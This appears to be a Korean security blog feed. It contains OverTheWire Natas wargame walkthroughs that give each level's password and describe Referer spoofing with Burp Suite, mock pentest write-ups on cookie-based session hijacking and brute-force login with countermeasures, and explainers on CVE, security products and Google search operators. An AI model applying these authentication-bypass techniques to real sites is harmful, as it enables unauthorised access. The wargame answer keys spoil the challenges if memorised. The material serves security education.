F12 개발자 도구로 본 코드들은 index.php로 location되기만 할 뿐 별다른 특이점은 없어 보입니다.

해당 Level에는 robots.txt의 진입도 불가했습니다.

다시 초기화면으로 돌아가 살펴보면 natas5에서 접근을 해야 인증이 되는 것으로 추측할 수 있습니다. 그렇다면 HTTP Referer 값을 임의로 조작하여 인증을 해야합니다.

Referer란?

HTTP 리퍼러(HTTP referer)는 웹 브라우저로 월드 와이드 웹을 서핑할 때, 하이퍼링크를 통해서 각각의 사이트로 방문시 남는 흔적을 말합니다.

본인은 웹 프록시 도구인 버프스위트를 사용하여 Referer 값을 조작, 변조 하였습니다.

BURPSUITE란?

버프 스위트(BurpSuite)는 프록시를 사용하여 네트워크에서 통신하는 HTTP request를 가로채 분석 및 수정할 수 있으며, 그 외에도 다양한 기능을 이용해 웹 애플리케이션의 취약점을 테스트하거나 해킹 공격을 수행할 수 있는 점검 도구이다.

실습에 이용하기 위해 Explorer 브라우저를 사용하여 진행하였습니다.

인터넷 옵션 -> 연결탭 -> LAN설정 -> 프록시 서버 온

해당 Referer는 natas4로 정상적인 값입니다.

이 값을 본 문제에서 요구하는 natas5로 변조하였습니다.

결과적으로, natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq 비밀번호를 획득할 수 있습니다.

해당 비밀번호를 통해 Level5로 진입합니다.

[W-Natas] 05. 나타스 레벨 3 (Nathas Level 2 -> Level 3)

SecuIT — Thu, 11 Jun 2020 23:46:37 +0900

OverTheWire WarGame 풀이 - Natas

*Natas는 서버 측 웹 보안의 기초를 가르치는 웹사이트 워게임입니다.
*반드시 연습용으로 제공된 환경에서만 작업하는 것을 권고 드리며, 악용으로 일어난 사태에 대해서는 절대로 책임지지 않습니다.

해당 URL을 통해 Level3로 진입합니다.

Level2에서 획득했던 비밀번호(sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14)를 입력해 입장합니다.

Level3 페이지에서도 다음과 같은 문구, "이 페이지에는 아무것도 없습니다"라는 메세지가 노출됩니다.

역시나 F12 개발자도구를 통해 힌트를 찾습니다. 이번엔 주석으로 No more information leaks!! Not even Google will find it this time...

"더 이상 정보가 유출되지 않습니다 !! 이번에도 구글조차 찾을 수 없습니다" 라는 문구가 주석으로 노출되고 있습니다.

그렇다면 소스로 진입하여 해당 웹페이지 경로에 어떤 파일들이 숨어있는지 탐색합니다.

css, img, js 디렉터리가 있는것을 확인할 수 있고 해당 파일들에 다음 레벨로 집입할 수 있는 비밀번호가 숨겨져 있을거라 예상됩니다.

해당 .js 파일에서 다음과 같은 힌트를 찾았지만, 이것으로는 부족했습니다.

그리고 이전 Level의 디렉터리 리스팅 취약점도 모두 방어가 되어 있습니다.

파일들을 모두 문자열 검색을 통해 찾아보아도 해답은 나오지 않았습니다.

그래서 다시한번 주석에 쓰여있는 문자열을 통해 구글에 힌트가 있지 않을까 생각했습니다.

No more information leaks!! Not even Google will find it this time...

일반적으로 웹은 로봇을 통해 웹 페이지의 코드들을 크롤링합니다. 그래서 robots.txt 파일에 진입 해봅니다.

진입결과 힌트로 보이는 문자열을 발견하였습니다.

일반적인 로봇 파일에는 User-agent와 allow, Disallow로 나누어져 있습니다. 다음과 같이 본인은 인가된 사용자만 접속할 수 있는 경로를 허용하지 않도록 설정하였고 로봇을 해당 디렉터리를 크롤링하지 않게됩니다.

해당 힌트를 URL을 통해 진입결과 디렉터리 리스팅 취약점이 발견되었고 users.txt 파일이 노출됩니다.

txt파일 클릭결과 natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ 비밀번호를 획득할 수 있습니다.

해당 비밀번호를 통해 Level4로 진입합니다.

[W-Natas] 04. 나타스 레벨 2 (Nathas Level 1 -> Level 2)

SecuIT — Thu, 11 Jun 2020 22:51:31 +0900

OverTheWire WarGame 풀이 - Natas

*Natas는 서버 측 웹 보안의 기초를 가르치는 웹사이트 워게임입니다.
*반드시 연습용으로 제공된 환경에서만 작업하는 것을 권고 드리며, 악용으로 일어난 사태에 대해서는 절대로 책임지지 않습니다.

해당 URL을 통해 Level2로 진입합니다.

Level1에서 획득했던 비밀번호(ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi)를 입력해 입장합니다.

Level2 페이지에서는 다음과 같은 문구, "이 페이지에는 아무것도 없습니다"라는 메세지가 노출됩니다.

F12키 크롬 개발자도구를 실행시켜 확인해 보니 img 태그를 확인할 수 있습니다.

해당 이미지 파일의 경로를 통한 입장 결과 검은색 배경의 화면이 노출이 되었습니다.

F12의 개발자 도구를 통해 HTML코드를 살펴보아도 특이점은 없어 보입니다.

소스로 진입하여 해당 png파일의 소스를 찾아냈습니다.

해당 디코딩 툴을 이용해 살펴보아도 png파일에 대한 내용밖에 얻을 수 없었습니다.

그래서 URL에서 png파일은 붙이지 않고 디렉터리 명으로 진입해보니 디렉터리 리스팅 취약점이 발견되었습니다. 그리고 users.txt라는 텍스트 파일에 무언가 힌트가 있어 보입니다.

txt파일 클릭결과 natas3:sJlJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 비밀번호를 획득할 수 있습니다.

해당 비밀번호를 통해 Level3로 진입합니다.

[W-Natas] 03. 나타스 레벨 1 (Nathas Level 0 -> Level 1)

SecuIT — Thu, 11 Jun 2020 21:49:26 +0900

OverTheWire WarGame 풀이 - Natas

*Natas는 서버 측 웹 보안의 기초를 가르치는 웹사이트 워게임입니다.
*반드시 연습용으로 제공된 환경에서만 작업하는 것을 권고 드리며, 악용으로 일어난 사태에 대해서는 절대로 책임지지 않습니다.

해당 페이지를 통해 Level1 페이지에 접속합니다.

Level0에서 획득했던 비밀번호(gtVrDuiDfck831PqWsLEZy5gyDz1clto)를 입력해 입장합니다.

페이지에 입장하게 되면 해당 페이지에서도 다음 레벨로 가기 위한 비밀번호를 찾아야 한다는 문구가 노출됩니다. 그러나 오른쪽 클릭버튼이 막혀있다고 합니다.

오른쪽 클릭을 누르면 해당 메세지 박스가 노출되게 됩니다.

하지만 F12키, 키보드는 막혀있지 않아 크롬 개발자도구를 이용해 주석처리된 natas2로 갈 수 있는 비밀번호를 어렵지 않게 획득할 수 있습니다.

ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

해당 비밀번호를 통해 Level2으로 진입합니다.

[W-Natas] 02. 나타스 레벨 0 (Nathas Level 0)

SecuIT — Thu, 11 Jun 2020 21:28:10 +0900

OverTheWire WarGame 풀이 - Natas

*Natas는 서버 측 웹 보안의 기초를 가르치는 웹사이트 워게임입니다.
*반드시 연습용으로 제공된 환경에서만 작업하는 것을 권고 드리며, 악용으로 일어난 사태에 대해서는 절대로 책임지지 않습니다.

해당 URL을 입력한 후 입장을 시도합니다.

다음과 같은 아이디와 비밀번호 입력창이 생성되며 문제가 시작됩니다.

페이지에서 다음 레벨로 갈 수 있는 비밀번호를 찾으라는 문구를 확인할 수 있습니다.

브라우저는 크롬을 사용하였고, F12을 눌러 소스코드를 확인해보니 주석처리를 통해 natas1으로 갈 수 있는 비밀번호가 숨겨져있는 것을 확인할 수 있습니다.

gtVrDuiDfck831PqWsLEZy5gyDz1clto

해당 비밀번호를 통해 Level1으로 진입합니다.

[W-Natas] 01. 나타스 개요 (Nathas Overview)

SecuIT — Thu, 11 Jun 2020 21:11:31 +0900

나타스란?

서버 측 웹 보안의 기초를 가르치는 웹사이트 입니다.

SSL 로그인은 없으며, 높은 레벨로 도달하려면 해당 사용자 이름과 비밀번호를 입력해야 합니다.

나타스 웹페이지 바로가기

[U-Security] 02. CVE란? (Common Vulnerabilities and Exposures)

SecuIT — Tue, 9 Jun 2020 13:48:02 +0900

CVE(Common Vulnerabilities and Exposures)란?

공개적으로 알려진 소프트웨어의 보안취약점을 가리키는 고유 표기이며 컴퓨터 보안 결함 목록들을 지칭할 때, CVE-ID 번호를 사용하며, 미국 국토안보부 산하의 사이버 보안 및 인프라 보안국(Cybersecurity and Infrastructure Security Agency)의 재정 지원을 받아 MITRE Corporation에서 감독합니다.

CVE ID는 CVE 넘버링 기관(CVE Numbering Authority, CNA)에서 할당하며, 주요 IT 벤더는 물론 보안 기업 및 연구 조직을 대표하는 약 100개의 CNA가 있습니다.

1. CVE-ID 표기법

CVE값은 CVE라는 문자에 취약점이 발견된 년도와 임의의 번호를 붙여 만들어지며, 이렇게 해서 연간 최대 9,999개의 취약점 식별번호를 지원할 수 있었습니다.

하지만, CVE값으로 표현할 수 있는 취약점 개수가 한계에 다다를 수 있기 때문에 CVE편집위원회와 MITRE는 CVE가 10,000개 이상의 취약점에 이름을 매길 수 있도록 자릿수 제한을 풀었으며, 이를 바탕으로 MITRE는 지난 2015년 1월 13일부터 CVE체계를 변경했습니다.

CVE ID("CVE-2019-1234567" 형식)

2. AVAS System(Automated Vulnerability Analysis system)

AVAS는 오픈소스 취약점 분석 자동화시킨 시스템으로 AVAS를 적용한 개발환경에선 지속통합/지속개발(CI/CD) 체계와 연동되어 개발자가 코드를 (프로젝트 저장소에) 커밋하면 자동으로 그 내용에 어떤 CVE가 있고 무슨 패치를 해야하는지 자동으로 찾아 알려줍니다.

만약 패치가 존재하지 않으면 커밋되지 않게 만들어졌으며, 이미 개발되어있는 배포된 CVE들은 모두 데이터베이스에 관리되고 있습니다.

※ 참고

1. https://cve.mitre.org/

CVE - Common Vulnerabilities and Exposures (CVE)

CVE® is a list of entries—each containing an identification number, a description, and at least one public reference—for publicly known cybersecurity vulnerabilities. CVE Entries are used in numerous cybersecurity products and services from around the

cve.mitre.org

2. http://www.itworld.co.kr/

테크놀로지 리더를 위한 글로벌 IT 뉴스 - ITWorld Korea

PC World, Computer World 등 글로벌 미디어의 콘텐츠. 테크놀로지 리더들의 실무 의사결정에 도움이 되는 정보 제공.

www.itworld.co.kr

3. https://developer.tizen.org/

Tizen Developers | An open source, standards-based software platform for multiple device categories.

Tizen Studio is the official IDE for developing web and native applications for Tizen.

developer.tizen.org

[P-Web] 04. 세션 하이재킹 (Session Hijacking)

SecuIT — Thu, 4 Jun 2020 22:48:29 +0900

* 본 내용은 정보보안 모의프로젝트 자료입니다 *

3) 인증 우회 [A-02~03]

3-1) 취약점 개념 설명

쿠키는 웹 애플리케이션에서 사용자를 구분할 때 사용하는 HTTP 프로토콜 중 하나입니다. 클라이언트가 웹페이지에 접속 시 쿠키를 부여받게 됩니다. 이를 통해 인증 없이 사용할 수 있습니다.

이 쿠키에 대한 보안정책을 마련하지 않는다면 공격자에 의해 쿠키가 탈취되어 클라이언트로 위장하여 사용자의 권한을 획득하여 서비스를 활용할 수 있게 됩니다.

[그림 3-13] 인증 우회 시나리오

3-2) 취약점 점검

(1) 쿠키 재사용 여부

[표 3-2] 쿠키 재사용 점검 위치

쿠키 재사용 여부 점검은 [표 3-2]의 위치에서 실시합니다.

[그림 3-14] Burp Suite를 이용한 쿠키 재사용 점검

프록시 도구인 Burp Suite를 이용하여 여러 차례의 로그인을 시도하여 쿠키 값을 잡아내었으며, 현재 Line Studio의 쿠키 값은 변하지 않고 항상 일치하였다. 별도의 암호화 없이 평문으로 노출되므로 취약한 상태 임의 확인하였습니다.

(2) 중요페이지 세션, 인증, 접근 체크 여부

[표 3-3] 중요페이지 세션, 인증, 접근 체크 점검 위치

중요 페이지 세션, 인증, 접근 체크 여부 점검은 [표 3-3]의 위치에서 실시합니다.

관리자 페이지는 일반 사용자에게 공개되지 않아야 하는 중요 페이지입니다.

[그림 3-15] Burp Suite를 세션, 인증, 접근 체크 점검

[그림 3-15]는 관리자 로그인 페이지로써 접근이 가능합니다.

3-3) 모의 침투

가로챈 쿠키 값을 이용하여 사용자의 권한을 그대로 사용할 수 있게 됩니다.

본 모의 침투에서는 관리자의 쿠키 값을 이용하겠습니다.

[그림 3-16] Burp Suite를 이용하여 쿠키 값 변조

[그림 3-20]에서 가로챈 admin 계정의 쿠키 값을 이용하여 변조, 인증을 통하여 로그인을 진행합니다.

결과적으로, admin 계정으로써 자유롭게 LineStudio를 사용할 수 있게 됩니다.

[그림 3-17] 관리자 페이지 입장

3-4) 대응 방안

(1) 토큰의 암호화

공격자가 토큰을 추측하기 어렵게 하기 위해 쿠키 값을 암호화하여 저장합니다.

(2) HTTPS 통신 활용

SSL 인증 기술을 이용하여 암호화 프로토콜인 HTTPS를 이용하여 전송합니다.

(3) 만료 정책

쿠키 정보 만료 시간을 짧게 설정하고 사용자가 로그아웃 버튼을 누르지 않아도 일정 시간 후에 자동으로 로그아웃을 진행합니다.

[P-Web] 03. 무차별 대입 공격 (Brute force attack)

SecuIT — Thu, 4 Jun 2020 22:20:35 +0900

* 본 내용은 정보보안 모의프로젝트 자료입니다 *

1) 계정정보 추측 및 대입 [A-01]

[그림 3-4] 무차별 대입 공격 시나리오

Brute Force란? 무차별로 임의의 문자를 조합해 하나씩 대입해 보는 공격 기법이다. 그야말로 일치할 때까지 모든 경우의 수를 시도한다.

[그림 3-4]는 Brute Force의 심화 공격인 사전 대입 공격이다.

미리 정의된 문자열 목록을 .txt 파일에 저장하여 하나씩 대입하며 오랜 시간 끝에 결국은 공격을 허용하게 된다.

2-2) 취약점 점검

[그림 3-5] 공격 페이지(login.asp)

본 점검은 Line Studio 로그인 폼에서 실시하였습니다.

[그림 3-6] 임의 값의 파라미터 확인

아이디와 비밀번호를 전송하는 파라미터를 확인하여 해당 부분의 값만을 계속 변경하여 로그인 시도를 하는 과정이다.

[그림 3-7] 대입 결과 확인

[그림 3-7]의 Status 상태 값 200, 302가 있습니다. 웹 응용 프로그램 동작에 따르면 잘못된 암호가 코드 응답 200을 반환하고 성공한 암호가 코드 응답 302를 반환합니다.

2-3) 대응 방안

[그림 3-8] 대응 방안 시나리오

본 공격의 분석 결과 대응 방안으로 공격 횟수를 셀 수 있도록 대책을 세웠고 DataBase의 Table 안의 Column(incorrect_count)을 추가였습니다.

5회 비밀번호 틀린 경우 계정 잠금 기능을 생성하였습니다.

[그림 3-9] MS-SQL의 Column(incorrect_count) 추가

아이디와 비밀번호를 검사하는 페이지(member_login_check.asp)에 Secure Code를 적용하였습니다.

1) 아이디의 존재 여부 검사

2) 비밀번호 틀림 5회 계정 잠금

3) 비밀번호 틀림 횟수 당 incorrect_count 1씩 증가

[그림 3-10] Secure Code 적용

적용 검사는 아이디 : kkkk, 비밀번호 : 111111을 대상으로 진행하였습니다.

로그인 시도 결과 incorrect_count 값이 1씩 증가하였고 5회 시에 계정 잠금을 확인하였습니다.

[그림 3-11] Secure Code 적용 결과(1)

[그림 3-12] Secure Code 적용 결과(2)

[P-Web] 02. 웹 환경 분석 (Web Environmental Analysis)

SecuIT — Thu, 4 Jun 2020 21:49:42 +0900

* 본 내용은 정보보안 모의프로젝트 자료입니다 *

다. 상세 설명

1) 환경 분석

[그림 3-1] LINE STUDIO 웹페이지 사용 언어 확인

Line Studio는 *.asp 환경을 기반으로 구성되어 있음을 확인하였습니다.

다음으로 웹 서버의 환경에 대한 정보를 수집합니다.

[그림 3-2] Nmap을 이용한 웹 서버 스캔 결과

[그림 3-3] Nikto를 이용한 웹 서버 스캔 결과

[그림 3-3]으로 Line Studio 웹서버는 Microsoft-IIS 5.0을 사용하고 있음을 확인되었고, [그림 3-2]으로 Windows 2000 서비스팩 4를 사용하고 있음을 확인하였습니다.

그리고 Database는 MMSQL을 사용하며 총 9개의 포트가 열려있었습니다.

[표 3-1] 웹 서버 환경 분석 결과

[T-Solution] 01. 정보 보호 시스템 (Information Protection System)

SecuIT — Wed, 3 Jun 2020 15:59:09 +0900

정보 보호 시스템이란?

정보 통신망으로 수집, 저장, 검색과 그밖에 송신 그리고 수신되는 정보의 훼손, 변조, 유출 따위를 막기 위한 기술이나 장치를 일컫는 단어입니다.

정보보호를 위한 관리적 · 기술적 · 물리적 수단을 의미하므로, 웹 방화벽 구축, 침입탐지시스템 설치 등과 같이 정보보호 관련 하드웨어의 구축 에 한정되지 않으며 구매정보시스템, 전자공시시스템 등과 같이 ‘하드웨어와 소프트웨어의 조직화된 체계’로서의 시스템 개념보다는 넓은 범위의 개념에 해당한다고 할 수 있습니다.

(자료: KISA)

1) 정보 보호 제품

1-1) 보안 관리

- 접근 통제, 암호/인증관리, 데이터·콘텐츠 보안, 네트워크 보안, 모바일 보안, 바이오 인식, 보안운영

· 통합보안시스템(UTM) · 통합보안관리(ESM) · 시스템접근통제

· DB보안 · 접근통제시스템 · 웹 방화벽 · 네트워크(시스템) 방화벽

· 네트워크접근제어(NAC) · 통합접근관리(EAM) · 통합계정관리(IM/IAM)

· 디지털 포렌식(부분, 기능) · 보안운영체제(Secure OS) · 서버보안 제품

· 가상사설망 시스템(VPN) · 모바일 보안 제품(MDM, MAM 등)

· 자산관리시스템(RMS) · 유·무선 네트워크 보안 제품 · 싱글사인온(SSO)

· 보안스마트카드 · H/W토큰(HSM) · 일회용비밀번호(OTP)

· 모바일인증(m-OTP, QR) · 공개키기반구조(PKI) · DB암호 · 보안 USB

· 얼굴인식시스템 · 홍채인식시스템 · 지문인식시스템 · 음성인식시스템

· 디지털저작권관리(DRM) · 네트워크 DLP, 단말 DLP · 가상화 망분리

· 카드&리더 · 시큐리티게이트 및 S/W · 패치관리시스템(PMS)

1-2) 침입 탐지

- 침입탐지·방지, 모니터링

· 침입탐지·방지시스템(IDS, IPS) · DDoS 차단 시스템 · 로그 관리/분석 시스템 · 위협관리시스템(TMS) · APT 대응 시스템 · 스팸 차단 제품(HW, SW) · Anti 멀웨어(바이러스, 웜, 스파이웨어 등) · 알람/모니터링(적외선/레이저/진동/장력 센서, 모션디텍터/침입 탐지장비)

1-3) 분석·대응 및 복구

- 침해 관리, 복구 및 백업

· 취약점 분석 시스템 · 백업/복구 관리시스템 · 디지털 포렌식 시스템(통합)

1-4) 물리보안 및 기타

- 물리보안제품, 기타제품

· CCTV 시스템(저장장치, 카메라, 지능형/관제 Solution,주변장비) · 영상보안(DVR, 카메라, IP영상장치 등) · ICT 신기술(Iot, 클라우드, 블록체인 등) 적용 제품 및 엔진/칩셋 · 기타장비 및 주변장치

2) 네트워크 보안 시스템

2-1) 침입탐지시스템(IDS)

외부로부터의 침입에 대응이 아닌 탐지만을 수행합니다.
방화벽이 해야 하는 업무의 부담을 줄이기 위한 것입니다.

2-2) 침입방지 시스템 (IPS)

실시간 사이버 공격을 탐지 및 차단하는 시스템으로, IDS가 수행하는 탐지 기능뿐만 아니라 차단 기능까지 보유하고 있습니다.

2-3) 방화벽(Firewall)

침입 차단 시스템으로 내부 시스템을 보호하기 위해 IP및 프로토콜 기반으로 내, 외부를 접속 차단합니다.

2-4) 통합위협관리시스템(UTM)

방화벽, 안티바이러스SW, 컨텐츠 필터링 등 하나의 패키지로 통합되어 시스템을 관리합니다.

2-5) 지능형 네트워크 접근 통제 시스템 (NAC)

보안정책에 정의된 단말기에만 네트워크 자원의 이용을 제한하는 방식이며, 필수 S/W 설치 및 불법 소프트웨어 삭제 유도 기능도 포함합니다.

2-6) 가상사설망(VPN)

사설망을 이용하는 것과 같이 송신수와 수신부 사이에 미리 설정한 암호 및 인증장치를 통해 패킷을 암호화하여 통신하는 기능을 제공합니다.

2-7) DDoS 공격 대응 장비

DDoS 공격 차단에 특화된 시스템 입니다.

2-8) 지능형 지속 위협(APT), 공격 대응시스템

시그니처(문자)기반의 정보보호 시스템과는 달리 비정상적인 행위를 판별하여 이상징후를 탐지 및 차단하는 시스템

2-9) 발신 로깅

내부 사용자가 중요 자료 및 메시지를 외부로 전송하는 것을 감시하는 기능을 제공합니다. 예 : E-mail 등을 이용한 데이터 유출검사 등

2-10) 무선랜 침입 차단 시스템 (WIPS)

기관 내 비인가 무선 AP 탐지 및 무선랜에 대한 위협을 탐지/차단 하는 시스템입니다.

3) 서버보안 솔루션

3-1) DB 보안

중요 데이터에 대한 접근제어 및 암호화를 통해 지정된 사용자에게 작업에 필요한 최소한의 정보만을 제공하도록 합니다.

3-2) 세션 로깅

관리자, 사용자의 시스템 요용 여부 등의 감사를 지원하기 위한 접속 내역 및 작업수행 내역 등의 계정 세션 로그를 감사하는 기능을 가집니다.

3-3) 정보 시스템 서버 접근 통제 및 보안감사 시스템

접근 통제에 의한 모든 작업이력을 저장하고 장애 및 보안사고 발생시 사후 추적 가능합니다.

4) 응용보안 솔루션

4-1) 웹 방화벽(WAF)

웹 서비스에 대한 사이버 공격으로부터 웹 서버 등을 보호하기 위한 기능을 가집니다.

4-2) 웹 스캐너

웹 서버 및 웹페이지 등 웹 어플리케이션의 취약점을 분석하는 도구입니다.

4-3) 컨텐츠 보안(DRM)

다양한 형태로 제공되는 데이터 및 컨텐츠의 불법적 유출과 배포방지 그리고 저작권을 주장할 수 있는 기능을 가집니다.

4-4) 스팸메일 차단 시스템

일반적인 다량의 메일 수신 및 비정상적인 메일 수신시 차단하는 시스템 입니다.

4-5) 패치관리시스템(PMS:Patch Management System)

중앙시스템으로부터 관리 PC에게 보안 패치를 자동으로 함으로써 해킹 등 인터넷 침해사고에 대응할 수 있습니다.

4-6) 해킹메일 차단시스템

악의적인 바이러스 및 악성코드 포함된 메일 수신시에 탐지 및 차단하는 시스템입니다.

4-7) 홈페이지 위변조 감시 시스템

악의적인 사이버 공격에 의한 홈페이지 화면 위/변조 사항을 실시간 탐지 및 웹 접속 정상상태를 모니터랑 하는 시스템입니다.

5) PC 보안 솔루션

5-1) 통합 PC 보안

인가된 작업외 실행 불가능하도록 설정하거나, 단말자체의 보안성 강화를 위해 자원통제 및 매체제어 등 기능을 제공합니다.

5-2) Office PC 보안

사무용 단말자체의 보안성 강화를 위한 백신, 키로깅 방지 기능 등을 지원합니다.

5-3) 내부정보유출 방지 시스템

사용자 컴퓨터에서 사용하는 메신저 프로그램 사용 차단 및 이메일 송신시 붙임 파일용량 통제등 내부정보의 유출을 방지합니다.

5-4) 개인정보유출방지 시스템

컴퓨터에서 주민번호, 여권번호 등 고유 식별정보 및 중요정보가 포함된 문서를 식별하거나 외부유출 시 차단합니다.

5-5) 매체제어 시스템

인가된 USB 저장장치, 이동형 저장장치의 연결을 허용하고 기타 비인가 장치는 차단하는 등 통제 기능을 가집니다.

5-6) Secu Print

인쇄된 정보의 비인가적 유출 방지 및 관리를 위한 출력물을 관리합니다.

6) 보안관리 솔루션

6-1) 저장장치 암호화

HDD, CD/DVD, USB 등 저장매체 내 저장 데이터 암호화 기능을 제공합니다.

6-2) 포렌식(Forensics)

공격 및 침입에 대한 정보를 파악하여 사고 대응을 지원하는 시스템 분석 및 추적 기능을 제공합니다.

6-3) 디가우저(Degausser)

자기를 이용하여 HDD 등 저장장치의 물리적인 데이터 폐기 기능을 제공합니다.

7) 보안관제 솔루션

7-1) 통합보안관리시스템(ESM : Enterprise Security Management)

IDS, IPS, Firewall 등의 보안 솔루션을 하나로 통합관리 시스템으로, 솔루션간 상호 연동을 통해 전체 정보통신시스템에 대한 보안 정책을 수립할 수 있습니다.

7-2) 위협관리 시스템 (TMS : Threat Management System)

유해 트래픽 및 악성코드를 실시간 탐지하고 상관관계 분석을 통한 종합적인 위협분석뿐만 아니라 취약성 정보, 조기 예경보 전송 및 실시간 대응 시스템을 통합하는 체계적인 사이버 위협에 대한 관제 및 대응 시스템입니다.

7-3) 위험관리시스템(RMS : Risk Management System)

기업 비즈니스의 연속성 보장을 위해 자산분석 및 식별을 시스템화하여 해당 자산의 보안상태 파악 및 보안성 향상 등 자동화를 지향하는 시스템입니다.

7-4) 홈페이지 APT 웹셸공격/탐지 및 차단 시스템

웹셸 및 홈 디렉터리 설정변경 및 악성코드 유포지 URL을 탐지하고 웹셸 탐지 정보 및 이력을 관리합니다.

7-5) 네트워크 모니터링 시스템(NMS : Network Mornitoring System)

네트워크 장비의 실시간 모니터링 및 관리를 통해 서비스 단절을 최소화하고 트래픽 정보수집 및 분석 등의 기능을 제공합니다.

[T-Network] 02. IDC란? (Internet Data Center)

SecuIT — Tue, 2 Jun 2020 17:26:30 +0900

데이터센터는 서버 컴퓨터와 네트워크 회선 등을 제공하는 시설로 서버 호텔(Server Hotel)이라고도 불리우며, 방대한 정보저장을 위한 수만 대의 서버 컴퓨터를 안정적으로 관리하기 위하여 설립된 데이터 보안, 보관 시설을 의미합니다.

서버들을 한 장소에서 보관하기 때문에 전문적인 관리, 안정성 및 네크워크 속도, 보안, 비용절감등의 장점이 있습니다.

'클라우드 서비스 (Cloud Services)’, ‘코로케이션(Colocation) 서비스’, ‘호스팅 서비스(Hosting Service)’ 등으로 구분할 수 있습니다.

클라우드 서비스

컴퓨팅, 저장 공간, 통신, 보안 서비스를 통칭하며, 서비스 제공자가 서버 등 하드웨어를 소유하고 운영하기 때문에 고객은 데이터센터에 대해 신경쓰지 않아도 됩니다.

코로케이션 서비스

상면형 서비스와 가상 IDC(Internet Data Center) 서비스로 나뉘는데, 상면형 서비스는 기업 또는 개인을 대상으로 IDC의 일정 공간을 임대해주는 형태의 서비스를 의미하며, 가상 IDC 서비스는 독자적인 IDC 시설을 보유하고 있지 않은 채 IDC의 일정 공간을 임대 받아 고객에게 코로케이션, 호스팅을 제공하는 재임대형 서비스를 의미합니다.

호스팅 서비스

단독 서버 제공 여부에 따라 웹 호스팅과 서버 호스팅으로 나뉜다. 최종 사용자 기준으로 2017년 데이터센터 시장은 대기업이 주도하였지만, 중소형 기업의 수요 역시 지속적으로 증가할 것으로 전망된다. 코로케이션 서비스 시장에서 중소형 업체 대상으로 영업력을 집중하고 있는 업체는 에퀴닉스가 대표적이며, 다른 리츠의 경우 중소형 업체와 대기업 고객을 모두를 타깃으로 하고 있습니다. (가비아, 호스팅케이알 등)

웹 호스팅

웹 호스팅은 다수의 사용자와 하나의 서버 공간을 함께 사용하는 것이라 할 수 있습니다.

서버 호스팅

서버 호스팅은 전문적인 인터넷 비즈니스를 위하여 한 대의 단독서버를 사용하면서 서버운영에 필요한 전용회선과 네트워크 관리 서비스 등 필요한 일체의 장비 및 기술력을 제공받는 서비스입니다.

추가적으로 데이터센터는 24시간, 365일 중단 없는 서비스 제공을 위해 전력공급과 인터넷 연결 및 보안이 매우 중요합니다. 현재 대부분의 데이터센터는 높은 토지매입 유지비용에도 불구하고 서비스 지연(latency) 등을 최소화하기 위해 사용자가 밀집해 있는 대도시나 인근 지역에 위치해 있습니다.

우리나라 경우에도 고객과의 접근성이 좋고 네트워크 인프라가 잘 구비되어 있으며 인력의 가용성과 유지 보수가 용이한 수도권에 집중되어있고 최근에는 데이터센터간 네트워크 연동기술 발달로 고객과의 거리적 제약이 완화됨에 따라 기업들은 구축 유지비용, 네트워크 인프라 인력, 자연재해 위험 등을 종합적으로 감안하여 입지를 결정합니다.

[U-Information] 01. 구글 검색 명령어 (Google Search Operator)

SecuIT — Tue, 2 Jun 2020 14:54:23 +0900

구글 검색 명령어 (Google Search Operator) 란?

구글 검색 명령어 혹은 구글 검색 연산자(Google Search Operator)란 구글 검색 기능을 더욱 용이하게 해주는 명령어입니다. 구글 검색 명령어를 이용하면 원하는 검색 결과를 한층 더 정교하게 구할 수 있습니다.
그 기능과 형태에 따라 기본 검색 명령어(Basic Search Operator)와 고급 검색 명령어(Advanced Search Operator)로 나뉩니다.

1. 기본 검색 명령어 (Basic Search Operator)

먼저 기본 검색 명령어는 일반 검색 결과를 수정해서 보여주는 기본적인 기능을 하며 따로 추가적인 정보를 필요로 하지 않고 일반 검색어에 추가로 입력해서 사용합니다.

" "	큰따옴표 안에 검색어를 입력하면 검색어를 반드시 포함하는 결괏값만 표시합니다 (예: "금융")
\|	두 가지의 검색어중 하나의 검색어라도 일치하는 결괏값을 보여줍니다 (예: 경제 \| 금융)
( )	검색 명령어를 그룹화하고 순서를 제어할 수 있는 명령어입니다 (예: (뉴스 \| 금융) 경제)
–	특정 단어를 제외한 나머지 검색 결과를 보여줍니다 (예: 경제 -금융) //- 뒤에 띄어쓰기 금지!!
* *	와일드카드처럼 작용해 어떤 단어와도 매치되는 기능이며 정확한 검색어를 모를 때 유용합니다 *(예: 경제 금융)**
#..# ..	앞뒤로 지정된 숫자(혹은 날짜) 범위 안에 있는 결괏값을 보여주지만 정확도가 다소 떨어집니다 (예: 문자열..문자열..)

2. 고급 검색 명령어 (Advanced Search Operator)

고급 검색 명령어는 기본 검색 명령어와 마찬가지로 검색 결과를 수정해서 보여주지만 추가적인 매개 변수(예: 웹사이트 도메인)를 필요로 하기도 하는 특수 명령어입니다. 고급 검색 명령어는 일반적으로 검색 범위를 좁히고 더욱 깊이 있는 검색을 하기 위해 사용됩니다.

define	기본적으로 구글에 내장된 사전의 기능을 하는 명령어이며 검색어에 대한 정의가 표시합니다 (예: define:SecuIT)
site	해당 웹사이트에서 색인된 결과만을 보여줍니다 (예: site:pitsec.tistory.com)
cache	해당 명령어 뒤에 URL을 추가하여 검색하면 구글에 가장 최근 색인된 해당 웹페이지의 캐시 버전을 보여줍니다 (예: cache:pitsec.tistory.com)
intitle	페이지 제목(타이틀 태그)에 특정 검색어가 포함된 페이지를 찾도록 명령하는 기능을 합니다 (예: intitle:secuIT)
allintitle	intitle: 명령어와 같은 기능을 하지만 여러 개의 검색어를 모두 포함된 결과만을 표시합니다 (예: allintitle: SecuIT 메모장)
inurl	페이지 URL에 특정 검색어가 포함된 페이지를 찾도록 명령하는 기능을 합니다 (예: inurl:pitsec)
allinurl	inurl: 명령어와 같은 기능을 하지만 여러 개의 검색어가 모두 포함된 결과만을 표시합니다 (예: allinurl:pitsec tistory)
intext	본문에 검색어를 포함하는 페이지를 찾도록 명령하는 기능을 합니다 (예: intext:경제)
filetype	검색 결과를 특정 파일 확장자로 제한하는 명령어이며 “ext:”로 대체할 수 있습니다(예: filetype:pdf 경제)
related	특정 웹사이트와 비슷한 웹사이트를 찾아주는 명령어입니다 (예: related:google.com)

참고 사이트

1. https://www.twinword.co.kr/

[T-Network] 01. CDN이란? (Contents Delivery Network)

